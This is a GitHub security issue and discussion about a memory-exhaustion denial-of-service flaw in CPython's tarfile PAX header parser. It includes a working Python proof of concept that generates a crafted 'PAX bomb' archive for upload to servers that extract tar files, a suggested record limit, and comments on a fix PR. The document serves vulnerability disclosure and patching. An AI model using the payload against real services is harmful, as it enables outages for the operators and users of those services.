Repository navigation
[Security] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile #161955
Description
Bug report
Description:
I have identified a critical Denial of Service (DoS) vulnerability in the tarfile module of Python 3.15.0. A crafted tar archive containing a malicious PAX extended header (XHDTYPE) can force the Python process to consume an extreme amount of memory instantly, leading to an Out Of Memory (OOM) crash. Furthermore, the memory is not released by the garbage collector after the extraction operation completes.
Vulnerability Details:
Location: tarfile.TarInfo._proc_pax
Root Cause: The _proc_pax function parses the PAX header data block in a while loop without enforcing any limit on the number of records. An attacker can craft a valid PAX header data block (e.g., 100MB) filled entirely with minimal-length valid records (e.g., b"5 a=\n" which is 5 bytes per record).
Impact: The parser will create over 20 million key-value pairs in the raw_headers list and subsequently in the pax_headers dictionary. This rapidly exhausts system memory. In real-world web applications (e.g., Django, Flask, CI/CD runners) that process user-uploaded tar files, this instantly kills the worker thread and can cause the entire host OS to trigger the OOM killer.
Resource Leak: After the extraction completes (returning HTTP 200), the huge memory allocation is not immediately reclaimed by Python's garbage collector due to the massive number of objects created, leaving the server in a zombie state consuming multi-gigabyte RSS memory indefinitely.
Proof of Concept (PoC):
This PoC simulates a backend service receiving a file upload and extracting it.
Attacker Script (Generates and sends the payload):
python
import tarfile
import io
import urllib.request
def create_pax_bomb():
# Minimal valid PAX record: "5 a=\n" (5 bytes)
record = b"5 a=\n"
target_size = 100 * 1024 * 1024 # 100 MB
num_records = target_size // len(record)
payload_data = record * num_records
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
info = tarfile.TarInfo("././@PaxHeader")
info.type = tarfile.XHDTYPE
info.size = len(payload_data)
tar.addfile(info, io.BytesIO(payload_data))
normal_info = tarfile.TarInfo("test.txt")
normal_info.size = 0
tar.addfile(normal_info)
return tar_buffer.getvalue()
Send via HTTP POST...
Server/Extraction Script:
python
import tarfile
When the server calls this:
try:
with tarfile.open(filepath, "r:") as tar:
tar.extractall(path=EXTRACT_DIR)
print("Extraction complete.")
except Exception as e:
print(e)
Execution Result:
The server script prints Extraction complete (or HTTP 200 success).
However, observing the process memory (Task Manager / psutil) shows memory usage instantly spiking to multiple GBs.
After the extraction finishes, the memory is not released, leaving the process hanging and unresponsive.
Suggested Fix:
Add a hard limit to the number of records or the maximum size of the PAX header that tarfile is willing to process.
For example, in _proc_pax, enforce a maximum record count (e.g., MAX_PAX_RECORDS = 10000) or a maximum total size for the raw_headers list, and raise InvalidHeaderError if exceeded.
CPython versions tested on:
3.15
Operating systems tested on:
Windows
Activity
jhaabhijeet864 commentedon Nov 15, 2026
I am reproducing this OOM condition locally using the provided PoC and will open a PR with the suggested record limit. Peace ⭐
pythongh-161955: Limit number of records parsed from PAX headers in t…
jhaabhijeet864 commentedon Nov 15, 2026
The failure has been resolved:
Root Cause
docs/readthedocs.org:cpython-previewsexperienced a transient network timeout during the initial repository clone on the Read the Docs builder (Error while cloning the repository: exit code 128). Because this PR does not modify files underDoc/, documentation builds are configured to be skipped.Resolution
Re-synchronized the branch with upstream and pushed an updated commit (
0c220da96db). Read the Docs picked up the build (#35900898), recognized no documentation changes, and marked the check as passing:All documentation and CI status checks on PR #162030 are now green.
Merge branch 'main' into pythongh-161955
1x98 commentedon Nov 15, 2026